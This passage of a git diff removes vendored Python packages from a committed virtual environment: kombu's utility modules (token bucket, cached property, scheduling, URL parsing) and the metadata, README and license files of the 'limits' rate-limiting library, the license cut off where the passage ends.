413c6c623c3d4681a7a7dd10f375851dff57ee2a..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/kombu/utils/limits.py +++ /dev/null @@ -1,87 +0,0 @@ -"""Token bucket implementation for rate limiting.""" - -from __future__ import annotations - -from collections import deque -from time import monotonic - -__all__ = ('TokenBucket',) - - -class TokenBucket: - """Token Bucket Algorithm. - - See Also - -------- - https://en.wikipedia.org/wiki/Token_Bucket - - Most of this code was stolen from an entry in the ASPN Python Cookbook: - https://code.activestate.com/recipes/511490/ - - Warning: - ------- - Thread Safety: This implementation is not thread safe. - Access to a `TokenBucket` instance should occur within the critical - section of any multithreaded code. - """ - - #: The rate in tokens/second that the bucket will be refilled. - fill_rate = None - - #: Maximum number of tokens in the bucket. - capacity = 1 - - #: Timestamp of the last time a token was taken out of the bucket. - timestamp = None - - def __init__(self, fill_rate, capacity=1): - self.capacity = float(capacity) - self._tokens = capacity - self.fill_rate = float(fill_rate) - self.timestamp = monotonic() - self.contents = deque() - - def add(self, item): - self.contents.append(item) - - def pop(self): - return self.contents.popleft() - - def clear_pending(self): - self.contents.clear() - - def can_consume(self, tokens=1): - """Check if one or more tokens can be consumed. - - Returns - ------- - bool: true if the number of tokens can be consumed - from the bucket. If they can be consumed, a call will also - consume the requested number of tokens from the bucket. - Calls will only consume `tokens` (the number requested) - or zero tokens -- it will never consume a partial number - of tokens. - """ - if tokens <= self._get_tokens(): - self._tokens -= tokens - return True - return False - - def expected_time(self, tokens=1): - """Return estimated time of token availability. - - Returns - ------- - float: the time in seconds. - """ - _tokens = self._get_tokens() - tokens = max(tokens, _tokens) - return (tokens - _tokens) / self.fill_rate - - def _get_tokens(self): - if self._tokens < self.capacity: - now = monotonic() - delta = self.fill_rate * (now - self.timestamp) - self._tokens = min(self.capacity, self._tokens + delta) - self.timestamp = now - return self._tokens diff --git a/venv/Lib/site-packages/kombu/utils/objects.py b/venv/Lib/site-packages/kombu/utils/objects.py deleted file mode 100644 index 862f914b31258a91f889e28636e2ce4bffe419e6..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/kombu/utils/objects.py +++ /dev/null @@ -1,67 +0,0 @@ -"""Object Utilities.""" - -from __future__ import annotations - -from threading import RLock - -__all__ = ('cached_property',) - -try: - from functools import cached_property as _cached_property -except ImportError: - # TODO: Remove this fallback once we drop support for Python < 3.8 - from cached_property import threaded_cached_property as _cached_property - -_NOT_FOUND = object() - - -class cached_property(_cached_property): - """Implementation of Cached property.""" - - def __init__(self, fget=None, fset=None, fdel=None): - super().__init__(fget) - self.__set = fset - self.__del = fdel - - if not hasattr(self, 'attrname'): - # This is a backport so we set this ourselves. - self.attrname = self.func.__name__ - - if not hasattr(self, 'lock'): - # Prior to Python 3.12, functools.cached_property has an - # undocumented lock which is required for thread-safe __set__ - # and __delete__. Create one if it isn't already present. - self.lock = RLock() - - def __get__(self, instance, owner=None): - # TODO: Remove this after we drop support for Python<3.8 - # or fix the signature in the cached_property package - with self.lock: - return super().__get__(instance, owner) - - def __set__(self, instance, value): - if instance is None: - return self - - with self.lock: - if self.__set is not None: - value = self.__set(instance, value) - - cache = instance.__dict__ - cache[self.attrname] = value - - def __delete__(self, instance): - if instance is None: - return self - - with self.lock: - value = instance.__dict__.pop(self.attrname, _NOT_FOUND) - - if self.__del and value is not _NOT_FOUND: - self.__del(instance, value) - - def setter(self, fset): - return self.__class__(self.func, fset, self.__del) - - def deleter(self, fdel): - return self.__class__(self.func, self.__set, fdel) diff --git a/venv/Lib/site-packages/kombu/utils/scheduling.py b/venv/Lib/site-packages/kombu/utils/scheduling.py deleted file mode 100644 index d5d8a7f41e58b7fc0cc1c8d85d393fb43f84c20c..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/kombu/utils/scheduling.py +++ /dev/null @@ -1,111 +0,0 @@ -"""Scheduling Utilities.""" - -from __future__ import annotations - -from itertools import count - -from .imports import symbol_by_name - -__all__ = ( - 'FairCycle', 'priority_cycle', 'round_robin_cycle', 'sorted_cycle', -) - -CYCLE_ALIASES = { - 'priority': 'kombu.utils.scheduling:priority_cycle', - 'round_robin': 'kombu.utils.scheduling:round_robin_cycle', - 'sorted': 'kombu.utils.scheduling:sorted_cycle', -} - - -class FairCycle: - """Cycle between resources. - - Consume from a set of resources, where each resource gets - an equal chance to be consumed from. - - Arguments: - --------- - fun (Callable): Callback to call. - resources (Sequence[Any]): List of resources. - predicate (type): Exception predicate. - """ - - def __init__(self, fun, resources, predicate=Exception): - self.fun = fun - self.resources = resources - self.predicate = predicate - self.pos = 0 - - def _next(self): - while 1: - try: - resource = self.resources[self.pos] - self.pos += 1 - return resource - except IndexError: - self.pos = 0 - if not self.resources: - raise self.predicate() - - def get(self, callback, **kwargs): - """Get from next resource.""" - for tried in count(0): # for infinity - resource = self._next() - try: - return self.fun(resource, callback, **kwargs) - except self.predicate: - # reraise when retries exhausted. - if tried >= len(self.resources) - 1: - raise - - def close(self): - """Close cycle.""" - - def __repr__(self): - """``repr(cycle)``.""" - return ''.format( - self=self, size=len(self.resources)) - - -class round_robin_cycle: - """Iterator that cycles between items in round-robin.""" - - def __init__(self, it=None): - self.items = it if it is not None else [] - - def update(self, it): - """Update items from iterable.""" - self.items[:] = it - - def consume(self, n): - """Consume n items.""" - return self.items[:n] - - def rotate(self, last_used): - """Move most recently used item to end of list.""" - items = self.items - try: - items.append(items.pop(items.index(last_used))) - except ValueError: - pass - return last_used - - -class priority_cycle(round_robin_cycle): - """Cycle that repeats items in order.""" - - def rotate(self, last_used): - """Unused in this implementation.""" - - -class sorted_cycle(priority_cycle): - """Cycle in sorted order.""" - - def consume(self, n): - """Consume n items.""" - return sorted(self.items[:n]) - - -def cycle_by_name(name): - """Get cycle class by name.""" - return symbol_by_name(name, CYCLE_ALIASES) diff --git a/venv/Lib/site-packages/kombu/utils/text.py b/venv/Lib/site-packages/kombu/utils/text.py deleted file mode 100644 index a6558cfc7b60abc2a8c9c08f87ed3762eea7a230..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/kombu/utils/text.py +++ /dev/null @@ -1,73 +0,0 @@ -"""Text Utilities.""" -# flake8: noqa - - -from __future__ import annotations - -from difflib import SequenceMatcher -from typing import Iterable, Iterator - -from kombu import version_info_t - - -def escape_regex(p, white=''): - # type: (str, str) -> str - """Escape string for use within a regular expression.""" - # what's up with re.escape? that code must be neglected or something - return ''.join(c if c.isalnum() or c in white - else ('\\000' if c == '\000' else '\\' + c) - for c in p) - - -def fmatch_iter(needle: str, haystack: Iterable[str], min_ratio: float = 0.6) -> Iterator[tuple[float, str]]: - """Fuzzy match: iteratively. - - Yields - ------ - Tuple: of ratio and key. - """ - for key in haystack: - ratio = SequenceMatcher(None, needle, key).ratio() - if ratio >= min_ratio: - yield ratio, key - - -def fmatch_best(needle: str, haystack: Iterable[str], min_ratio: float = 0.6) -> str | None: - """Fuzzy match - Find best match (scalar).""" - try: - return sorted( - fmatch_iter(needle, haystack, min_ratio), reverse=True, - )[0][1] - except IndexError: - return None - - -def version_string_as_tuple(s: str) -> version_info_t: - """Convert version string to version info tuple.""" - v = _unpack_version(*s.split('.')) - # X.Y.3a1 -> (X, Y, 3, 'a1') - if isinstance(v.micro, str): - v = version_info_t(v.major, v.minor, *_splitmicro(*v[2:])) - # X.Y.3a1-40 -> (X, Y, 3, 'a1', '40') - if not v.serial and v.releaselevel and '-' in v.releaselevel: - v = version_info_t(*list(v[0:3]) + v.releaselevel.split('-')) - return v - - -def _unpack_version( - major: str, - minor: str | int = 0, - micro: str | int = 0, - releaselevel: str = '', - serial: str = '' -) -> version_info_t: - return version_info_t(int(major), int(minor), micro, releaselevel, serial) - - -def _splitmicro(micro: str, releaselevel: str = '', serial: str = '') -> tuple[int, str, str]: - for index, char in enumerate(micro): - if not char.isdigit(): - break - else: - return int(micro or 0), releaselevel, serial - return int(micro[:index]), micro[index:], serial diff --git a/venv/Lib/site-packages/kombu/utils/time.py b/venv/Lib/site-packages/kombu/utils/time.py deleted file mode 100644 index 8228d2be651155d4edd033af2f5758309d22f2ab..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/kombu/utils/time.py +++ /dev/null @@ -1,9 +0,0 @@ -"""Time Utilities.""" -from __future__ import annotations - -__all__ = ('maybe_s_to_ms',) - - -def maybe_s_to_ms(v: int | float | None) -> int | None: - """Convert seconds to milliseconds, but return None for None.""" - return int(float(v) * 1000.0) if v is not None else v diff --git a/venv/Lib/site-packages/kombu/utils/url.py b/venv/Lib/site-packages/kombu/utils/url.py deleted file mode 100644 index e84cd18b1e1e865a62ef50fc2b0362dc06459d7f..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/kombu/utils/url.py +++ /dev/null @@ -1,132 +0,0 @@ -"""URL Utilities.""" -# flake8: noqa - - -from __future__ import annotations - -from collections.abc import Mapping -from functools import partial -from typing import NamedTuple -from urllib.parse import parse_qsl, quote, unquote, urlparse - -try: - import ssl - ssl_available = True -except ImportError: # pragma: no cover - ssl_available = False - -from ..log import get_logger - -safequote = partial(quote, safe='') -logger = get_logger(__name__) - -class urlparts(NamedTuple): - """Named tuple representing parts of the URL.""" - - scheme: str - hostname: str - port: int - username: str - password: str - path: str - query: Mapping - - -def parse_url(url): - # type: (str) -> Dict - """Parse URL into mapping of components.""" - scheme, host, port, user, password, path, query = _parse_url(url) - if query: - keys = [key for key in query.keys() if key.startswith('ssl_')] - for key in keys: - if key == "ssl_check_hostname": - query[key] = query[key].lower() != 'false' - elif key == 'ssl_cert_reqs': - query[key] = parse_ssl_cert_reqs(query[key]) - if query[key] is None: - logger.warning('Defaulting to insecure SSL behaviour.') - - if 'ssl' not in query: - query['ssl'] = {} - - query['ssl'][key] = query[key] - del query[key] - - return dict(transport=scheme, hostname=host, - port=port, userid=user, - password=password, virtual_host=path, **query) - - -def url_to_parts(url): - # type: (str) -> urlparts - """Parse URL into :class:`urlparts` tuple of components.""" - scheme = urlparse(url).scheme - schemeless = url[len(scheme) + 3:] - # parse with HTTP URL semantics - parts = urlparse('http://' + schemeless) - path = parts.path or '' - path = path[1:] if path and path[0] == '/' else path - return urlparts( - scheme, - unquote(parts.hostname or '') or None, - parts.port, - unquote(parts.username or '') or None, - unquote(parts.password or '') or None, - unquote(path or '') or None, - dict(parse_qsl(parts.query)), - ) - - -_parse_url = url_to_parts - - -def as_url(scheme, host=None, port=None, user=None, password=None, - path=None, query=None, sanitize=False, mask='**'): - # type: (str, str, int, str, str, str, str, bool, str) -> str - """Generate URL from component parts.""" - parts = [f'{scheme}://'] - if user or password: - if user: - parts.append(safequote(user)) - if password: - if sanitize: - parts.extend([':', mask] if mask else [':']) - else: - parts.extend([':', safequote(password)]) - parts.append('@') - parts.append(safequote(host) if host else '') - if port: - parts.extend([':', port]) - parts.extend(['/', path]) - return ''.join(str(part) for part in parts if part) - - -def sanitize_url(url, mask='**'): - # type: (str, str) -> str - """Return copy of URL with password removed.""" - return as_url(*_parse_url(url), sanitize=True, mask=mask) - - -def maybe_sanitize_url(url, mask='**'): - # type: (Any, str) -> Any - """Sanitize url, or do nothing if url undefined.""" - if isinstance(url, str) and '://' in url: - return sanitize_url(url, mask) - return url - - -def parse_ssl_cert_reqs(query_value): - # type: (str) -> Any - """Given the query parameter for ssl_cert_reqs, return the SSL constant or None.""" - if ssl_available: - query_value_to_constant = { - 'CERT_REQUIRED': ssl.CERT_REQUIRED, - 'CERT_OPTIONAL': ssl.CERT_OPTIONAL, - 'CERT_NONE': ssl.CERT_NONE, - 'required': ssl.CERT_REQUIRED, - 'optional': ssl.CERT_OPTIONAL, - 'none': ssl.CERT_NONE, - } - return query_value_to_constant[query_value] - else: - return None diff --git a/venv/Lib/site-packages/kombu/utils/uuid.py b/venv/Lib/site-packages/kombu/utils/uuid.py deleted file mode 100644 index 917eccf322b02f959d352d3ad9d886d6c931de74..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/kombu/utils/uuid.py +++ /dev/null @@ -1,15 +0,0 @@ -"""UUID utilities.""" -from __future__ import annotations - -from typing import Callable -from uuid import UUID, uuid4 - - -def uuid(_uuid: Callable[[], UUID] = uuid4) -> str: - """Generate unique id in UUID4 format. - - See Also - -------- - For now this is provided by :func:`uuid.uuid4`. - """ - return str(_uuid()) diff --git a/venv/Lib/site-packages/limits-5.8.0.dist-info/INSTALLER b/venv/Lib/site-packages/limits-5.8.0.dist-info/INSTALLER deleted file mode 100644 index a1b589e38a32041e49332e5e81c2d363dc418d68..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/limits-5.8.0.dist-info/INSTALLER +++ /dev/null @@ -1 +0,0 @@ -pip diff --git a/venv/Lib/site-packages/limits-5.8.0.dist-info/METADATA b/venv/Lib/site-packages/limits-5.8.0.dist-info/METADATA deleted file mode 100644 index da00b97c3a98a41a23914676cbbc7109db2932b3..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/limits-5.8.0.dist-info/METADATA +++ /dev/null @@ -1,260 +0,0 @@ -Metadata-Version: 2.4 -Name: limits -Version: 5.8.0 -Summary: Rate limiting utilities -Project-URL: Homepage, https://limits.readthedocs.org -Project-URL: Source, https://github.com/alisaifee/limits -Project-URL: Documentation, https://limits.readthedocs.org -Author-email: Ali-Akber Saifee -Maintainer-email: Ali-Akber Saifee -License-Expression: MIT -License-File: LICENSE.txt -Classifier: Development Status :: 5 - Production/Stable -Classifier: Intended Audience :: Developers -Classifier: License :: OSI Approved :: MIT License -Classifier: Operating System :: MacOS -Classifier: Operating System :: OS Independent -Classifier: Operating System :: POSIX :: Linux -Classifier: Programming Language :: Python :: 3.10 -Classifier: Programming Language :: Python :: 3.11 -Classifier: Programming Language :: Python :: 3.12 -Classifier: Programming Language :: Python :: 3.13 -Classifier: Programming Language :: Python :: 3.14 -Classifier: Programming Language :: Python :: Implementation :: PyPy -Classifier: Topic :: Software Development :: Libraries :: Python Modules -Requires-Python: >=3.10 -Requires-Dist: deprecated>=1.2 -Requires-Dist: packaging>=21 -Requires-Dist: typing-extensions -Provides-Extra: async-memcached -Requires-Dist: memcachio>=0.3; extra == 'async-memcached' -Provides-Extra: async-mongodb -Requires-Dist: motor<4,>=3; extra == 'async-mongodb' -Provides-Extra: async-redis -Requires-Dist: coredis<6,>=3.4.0; extra == 'async-redis' -Provides-Extra: async-valkey -Requires-Dist: valkey>=6; extra == 'async-valkey' -Provides-Extra: memcached -Requires-Dist: pymemcache<5.0.0,>3; extra == 'memcached' -Provides-Extra: mongodb -Requires-Dist: pymongo<5,>4.1; extra == 'mongodb' -Provides-Extra: redis -Requires-Dist: redis!=4.5.2,!=4.5.3,<8.0.0,>3; extra == 'redis' -Provides-Extra: rediscluster -Requires-Dist: redis!=4.5.2,!=4.5.3,>=4.2.0; extra == 'rediscluster' -Provides-Extra: valkey -Requires-Dist: valkey>=6; extra == 'valkey' -Description-Content-Type: text/x-rst - -.. |ci| image:: https://github.com/alisaifee/limits/actions/workflows/main.yml/badge.svg?branch=master - :target: https://github.com/alisaifee/limits/actions?query=branch%3Amaster+workflow%3ACI -.. |codecov| image:: https://codecov.io/gh/alisaifee/limits/branch/master/graph/badge.svg - :target: https://codecov.io/gh/alisaifee/limits -.. |pypi| image:: https://img.shields.io/pypi/v/limits.svg?style=flat-square - :target: https://pypi.python.org/pypi/limits -.. |pypi-versions| image:: https://img.shields.io/pypi/pyversions/limits?style=flat-square - :target: https://pypi.python.org/pypi/limits -.. |license| image:: https://img.shields.io/pypi/l/limits.svg?style=flat-square - :target: https://pypi.python.org/pypi/limits -.. |docs| image:: https://readthedocs.org/projects/limits/badge/?version=latest - :target: https://limits.readthedocs.org - -###### -limits -###### -|docs| |ci| |codecov| |pypi| |pypi-versions| |license| - - -**limits** is a python library for rate limiting via multiple strategies -with commonly used storage backends (Redis, Memcached & MongoDB). - -The library provides identical APIs for use in sync and -`async `_ codebases. - - -Supported Strategies -==================== - -All strategies support the follow methods: - -- `hit `_: consume a request. -- `test `_: check if a request is allowed. -- `get_window_stats `_: retrieve remaining quota and reset time. - -Fixed Window ------------- -`Fixed Window `_ - -This strategy is the most memory‑efficient because it uses a single counter per resource and -rate limit. When the first request arrives, a window is started for a fixed duration -(e.g., for a rate limit of 10 requests per minute the window expires in 60 seconds from the first request). -All requests in that window increment the counter and when the window expires, the counter resets. - -Burst traffic that bypasses the rate limit may occur at window boundaries. - -For example, with a rate limit of 10 requests per minute: - -- At **00:00:45**, the first request arrives, starting a window from **00:00:45** to **00:01:45**. -- All requests between **00:00:45** and **00:01:45** count toward the limit. -- If 10 requests occur at any time in that window, any further request before **00:01:45** is rejected. -- At **00:01:45**, the counter resets and a new window starts which would allow 10 requests - until **00:02:45**. - -Moving Window -------------- -`Moving Window `_ - -This strategy adds each request’s timestamp to a log if the ``nth`` oldest entry (where ``n`` -is the limit) is either not present or is older than the duration of the window (for example with a rate limit of -``10 requests per minute`` if there are either less than 10 entries or the 10th oldest entry is at least -60 seconds old). Upon adding a new entry to the log "expired" entries are truncated. - -For example, with a rate limit of 10 requests per minute: - -- At **00:00:10**, a client sends 1 requests which are allowed. -- At **00:00:20**, a client sends 2 requests which are allowed. -- At **00:00:30**, the client sends 4 requests which are allowed. -- At **00:00:50**, the client sends 3 requests which are allowed (total = 10). -- At **00:01:11**, the client sends 1 request. The strategy checks the timestamp of the - 10th oldest entry (**00:00:10**) which is now 61 seconds old and thus expired. The request - is allowed. -- At **00:01:12**, the client sends 1 request. The 10th oldest entry's timestamp is **00:00:20** - which is only 52 seconds old. The request is rejected. - -Sliding Window Counter ------------------------- -`Sliding Window Counter `_ - -This strategy approximates the moving window while using less memory by maintaining -two counters: - -- **Current bucket:** counts requests in the ongoing period. -- **Previous bucket:** counts requests in the immediately preceding period. - -When a request arrives, the effective request count is calculated as:: - - weighted_count = current_count + floor(previous_count * weight) - -The weight is based on how much time has elapsed in the current bucket:: - - weight = (bucket_duration - elapsed_time) / bucket_duration - -If ``weighted_count`` is below the limit, the request is allowed. - -For example, with a rate limit of 10 requests per minute: - -Assume: - -- The current bucket (spanning **00:01:00** to **00:02:00**) has 8 hits. -- The previous bucket (spanning **00:00:00** to **00:01:00**) has 4 hits. - -Scenario 1: - -- A new request arrives at **00:01:30**, 30 seconds into the current bucket. -- ``weight = (60 - 30) / 60 = 0.5``. -- ``weighted_count = floor(8 + (4 * 0.5)) = floor(8 + 2) = 10``. -- Since the weighted count equals the limit, the request is rejected. - -Scenario 2: - -- A new request arrives at **00:01:40**, 40 seconds into the current bucket. -- ``weight = (60 - 40) / 60 ≈ 0.33``. -- ``weighted_count = floor(8 + (4 * 0.33)) = floor(8 + 1.32) = 9``. -- Since the weighted count is below the limit, the request is allowed. - - -Storage backends -================ - -- `Redis `_ -- `Memcached `_ -- `MongoDB `_ -- `In-Memory `_ - -Dive right in -============= - -Initialize the storage backend - -.. code-block:: python - - from limits import storage - backend = storage.MemoryStorage() - # or memcached - backend = storage.MemcachedStorage("memcached://localhost:11211") - # or redis - backend = storage.RedisStorage("redis://localhost:6379") - # or mongodb - backend = storage.MongoDbStorage("mongodb://localhost:27017") - # or use the factory - storage_uri = "memcached://localhost:11211" - backend = storage.storage_from_string(storage_uri) - -Initialize a rate limiter with a strategy - -.. code-block:: python - - from limits import strategies - strategy = strategies.MovingWindowRateLimiter(backend) - # or fixed window - strategy = strategies.FixedWindowRateLimiter(backend) - # or sliding window - strategy = strategies.SlidingWindowCounterRateLimiter(backend) - - -Initialize a rate limit - -.. code-block:: python - - from limits import parse - one_per_minute = parse("1/minute") - -Initialize a rate limit explicitly - -.. code-block:: python - - from limits import RateLimitItemPerSecond - one_per_second = RateLimitItemPerSecond(1, 1) - -Test the limits - -.. code-block:: python - - import time - assert True == strategy.hit(one_per_minute, "test_namespace", "foo") - assert False == strategy.hit(one_per_minute, "test_namespace", "foo") - assert True == strategy.hit(one_per_minute, "test_namespace", "bar") - - assert True == strategy.hit(one_per_second, "test_namespace", "foo") - assert False == strategy.hit(one_per_second, "test_namespace", "foo") - time.sleep(1) - assert True == strategy.hit(one_per_second, "test_namespace", "foo") - -Check specific limits without hitting them - -.. code-block:: python - - assert True == strategy.hit(one_per_second, "test_namespace", "foo") - while not strategy.test(one_per_second, "test_namespace", "foo"): - time.sleep(0.01) - assert True == strategy.hit(one_per_second, "test_namespace", "foo") - -Query available capacity and reset time for a limit - -.. code-block:: python - - assert True == strategy.hit(one_per_minute, "test_namespace", "foo") - window = strategy.get_window_stats(one_per_minute, "test_namespace", "foo") - assert window.remaining == 0 - assert False == strategy.hit(one_per_minute, "test_namespace", "foo") - time.sleep(window.reset_time - time.time()) - assert True == strategy.hit(one_per_minute, "test_namespace", "foo") - - -Links -===== - -* `Documentation `_ -* `Benchmarks `_ -* `Changelog `_ - diff --git a/venv/Lib/site-packages/limits-5.8.0.dist-info/RECORD b/venv/Lib/site-packages/limits-5.8.0.dist-info/RECORD deleted file mode 100644 index e5ea5c080d0cd934998ae26832a7f2d93aba6441..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/limits-5.8.0.dist-info/RECORD +++ /dev/null @@ -1,75 +0,0 @@ -limits-5.8.0.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4 -limits-5.8.0.dist-info/METADATA,sha256=0rL0KftS_AjGSbgFE3pI14HScdhkV9l3d2JUoeYxtww,10408 -limits-5.8.0.dist-info/RECORD,, -limits-5.8.0.dist-info/WHEEL,sha256=WLgqFyCfm_KASv4WHyYy0P3pM_m7J5L9k2skdKLirC8,87 -limits-5.8.0.dist-info/licenses/LICENSE.txt,sha256=T6i7kq7F5gIPfcno9FCxU5Hcwm22Bjq0uHZV3ElcjsQ,1061 -limits/__init__.py,sha256=o797RFCrvTx-9XGu8tsQYH5ZOtX-UVh6xwq_eatc_AU,734 -limits/__pycache__/__init__.cpython-314.pyc,, -limits/__pycache__/_storage_scheme.cpython-314.pyc,, -limits/__pycache__/_version.cpython-314.pyc,, -limits/__pycache__/errors.cpython-314.pyc,, -limits/__pycache__/limits.cpython-314.pyc,, -limits/__pycache__/strategies.cpython-314.pyc,, -limits/__pycache__/typing.cpython-314.pyc,, -limits/__pycache__/util.cpython-314.pyc,, -limits/_storage_scheme.py,sha256=o0pOJ_8QxiPQzL6HoSRfkt6PBtzscJULQWitVZ8BQYE,2198 -limits/_version.py,sha256=sz_txbnnNi2hXM1k_TgzJE2y4maq2jlBx2EzmXTq6fA,704 -limits/_version.pyi,sha256=Y25n44pyE3vp92MiABKrcK3IWRyQ1JG1rZ4Ufqy2nC0,17 -limits/aio/__init__.py,sha256=yxvWb_ZmV245Hg2LqD365WC5IDllcGDMw6udJ1jNp1g,118 -limits/aio/__pycache__/__init__.cpython-314.pyc,, -limits/aio/__pycache__/strategies.cpython-314.pyc,, -limits/aio/storage/__init__.py,sha256=vKeArUnN1ld_0mQOBBZPCjaQgM5xI1GBPM7_F2Ydz5c,646 -limits/aio/storage/__pycache__/__init__.cpython-314.pyc,, -limits/aio/storage/__pycache__/base.cpython-314.pyc,, -limits/aio/storage/__pycache__/memory.cpython-314.pyc,, -limits/aio/storage/__pycache__/mongodb.cpython-314.pyc,, -limits/aio/storage/base.py,sha256=eR-yugKxb7gkO-ehx0j35WQK6O1Ieo-7gRsKX8sbgZg,6705 -limits/aio/storage/memcached/__init__.py,sha256=SjAEgxC6hPjobtyTf7tq3vThPMMbS4lGdtTo5kvoz64,6885 -limits/aio/storage/memcached/__pycache__/__init__.cpython-314.pyc,, -limits/aio/storage/memcached/__pycache__/bridge.cpython-314.pyc,, -limits/aio/storage/memcached/__pycache__/emcache.cpython-314.pyc,, -limits/aio/storage/memcached/__pycache__/memcachio.cpython-314.pyc,, -limits/aio/storage/memcached/bridge.py,sha256=ocHI4tpS7mFizaNy2zuh54Y72VxCh1uw0-xHnqnufX8,1853 -limits/aio/storage/memcached/emcache.py,sha256=J01jP-Udd2fLgamCh2CX9NEIvhN8eZVTzUok096Bbe4,3833 -limits/aio/storage/memcached/memcachio.py,sha256=OoGVqOVG0pVX2McFeTGQ_AbiqQUu_FYwWItpQMtNV7g,3491 -limits/aio/storage/memory.py,sha256=-U_GWPWmR77Hzi1Oa1_L1WjiAlROTS8PNG8PROAm13c,9842 -limits/aio/storage/mongodb.py,sha256=0kwDyivA53ZIOUH4DNnCjVG3olLJqAWhXctjPrnHUp0,19252 -limits/aio/storage/redis/__init__.py,sha256=MMUOTjZPVmBHcATVD-5d-r83LPo90b6iO3dZDkHDU8c,15065 -limits/aio/storage/redis/__pycache__/__init__.cpython-314.pyc,, -limits/aio/storage/redis/__pycache__/bridge.cpython-314.pyc,, -limits/aio/storage/redis/__pycache__/coredis.cpython-314.pyc,, -limits/aio/storage/redis/__pycache__/redispy.cpython-314.pyc,, -limits/aio/storage/redis/__pycache__/valkey.cpython-314.pyc,, -limits/aio/storage/redis/bridge.py,sha256=dsb0HnppEUcz-JLuWyofaXiYdb0CDtoRqsYlUSl_rLw,3323 -limits/aio/storage/redis/coredis.py,sha256=TDvzNy85TfKkIVwoMDkT897qkgSJgDxeHEA7wEi3Adk,7376 -limits/aio/storage/redis/redispy.py,sha256=lxMqCgL1qy_ifmz6EceEyD9epFSkui0ltQ6BJHmCE-w,8338 -limits/aio/storage/redis/valkey.py,sha256=f_-HPZhzNspywGybMNIL0F5uDZk76v8_K9wuC5ZeKhc,248 -limits/aio/strategies.py,sha256=ip7NJ_6FvEtICr90tesayaXcsqrmpG7VlC3PwxbfiVQ,10736 -limits/errors.py,sha256=s1el9Vg0ly-z92guvnvYNgKi3_aVqpiw_sufemiLLTI,662 -limits/limits.py,sha256=EztiGCXBVwIqNtps77HiW6vLlMO93wCh7mu5W7BuhwI,5011 -limits/py.typed,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -limits/resources/redis/lua_scripts/acquire_moving_window.lua,sha256=Vz0HkI_bSFLW668lEVw8paKlTLEuU4jZk1fpdSuz3zg,594 -limits/resources/redis/lua_scripts/acquire_sliding_window.lua,sha256=OhVI1MAN_gT92P6r-2CEmvy1yvQVjYCCZxWIxfXYceY,1329 -limits/resources/redis/lua_scripts/clear_keys.lua,sha256=zU0cVfLGmapRQF9x9u0GclapM_IB2pJLszNzVQ1QRK4,184 -limits/resources/redis/lua_scripts/incr_expire.lua,sha256=Uq9NcrrcDI-F87TDAJexoSJn2SDgeXIUEYozCp9S3oA,195 -limits/resources/redis/lua_scripts/moving_window.lua,sha256=zlieQwfET0BC7sxpfiOuzPa1wwmrwWLy7IF8LxNa_Lw,717 -limits/resources/redis/lua_scripts/sliding_window.lua,sha256=qG3Yg30Dq54QpRUcR9AOrKQ5bdJiaYpCacTm6Kxblvc,713 -limits/storage/__init__.py,sha256=L8CaIQsaQFHc-HgWTBK2DjOoP1EV9J-9mic06zr0j0Q,2660 -limits/storage/__pycache__/__init__.cpython-314.pyc,, -limits/storage/__pycache__/base.cpython-314.pyc,, -limits/storage/__pycache__/memcached.cpython-314.pyc,, -limits/storage/__pycache__/memory.cpython-314.pyc,, -limits/storage/__pycache__/mongodb.cpython-314.pyc,, -limits/storage/__pycache__/redis.cpython-314.pyc,, -limits/storage/__pycache__/redis_cluster.cpython-314.pyc,, -limits/storage/__pycache__/redis_sentinel.cpython-314.pyc,, -limits/storage/base.py,sha256=nKVXOY62U8KxgInsrMDuRkU9dZYvHZ988LGYxlY3SsE,7263 -limits/storage/memcached.py,sha256=0_oO-IC52OuxzlL_Nrry9W09UEfYJLOdjW1b-j3cixI,10324 -limits/storage/memory.py,sha256=4W8hWIEzwQpoh1z0LcfwuP6DqeFoVuOEM2u8WpZkfdQ,8957 -limits/storage/mongodb.py,sha256=a-KX1H-0DafEwWzwTmcqJ9YuMyAwg1R-JfkTEiBJ0pQ,18123 -limits/storage/redis.py,sha256=zTwxV5qosxGBTrkZmD4UWQdvavDbWpYHXY7H3hXH-Sw,10791 -limits/storage/redis_cluster.py,sha256=Q7QOrs_3ZkUDWCoWYUVy7qeOuOlYTC2OXBulNlJ42Hc,4541 -limits/storage/redis_sentinel.py,sha256=7FC3xgz2OZLpmqmhe56Zex0XOD9mcd2A0XYWbC-gvE4,4531 -limits/strategies.py,sha256=Q03NTAyADtwMalhRkOSdk6UE1gVfVt5n258xVyA481o,10732 -limits/typing.py,sha256=pVt5D23MhQSUGqi0MBG5FCSqDwta2ygu18BpKvJFxow,3283 -limits/util.py,sha256=283O2aXnN7DmaqjTeTiF-KYn5wVbnpXJ8vb-6LvY5lY,5983 diff --git a/venv/Lib/site-packages/limits-5.8.0.dist-info/WHEEL b/venv/Lib/site-packages/limits-5.8.0.dist-info/WHEEL deleted file mode 100644 index ae8ec1bdaa94d726ceb907542d76cbd5d38cafcd..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/limits-5.8.0.dist-info/WHEEL +++ /dev/null @@ -1,4 +0,0 @@ -Wheel-Version: 1.0 -Generator: hatchling 1.28.0 -Root-Is-Purelib: true -Tag: py3-none-any diff --git a/venv/Lib/site-packages/limits-5.8.0.dist-info/licenses/LICENSE.txt b/venv/Lib/site-packages/limits-5.8.0.dist-info/licenses/LICENSE.txt deleted file mode 100644 index 2261d327ad9be9232d7d08158db2ccae582b98e6..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/limits-5.8.0.dist-info/licenses/LICENSE.txt +++ /dev/null @@ -1,20 +0,0 @@ -Copyright (c) 2023 Ali-Akber Saifee - -Permission is hereby granted, free of charge, to any person obtaining a copy -of this software and associated documentation files (the "Software"), to deal -in the Software without restriction, including without limitation the rights to -use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies -of the Software, and to permit persons to whom the Software is furnished to do -so, subject to the following conditions: - -The above 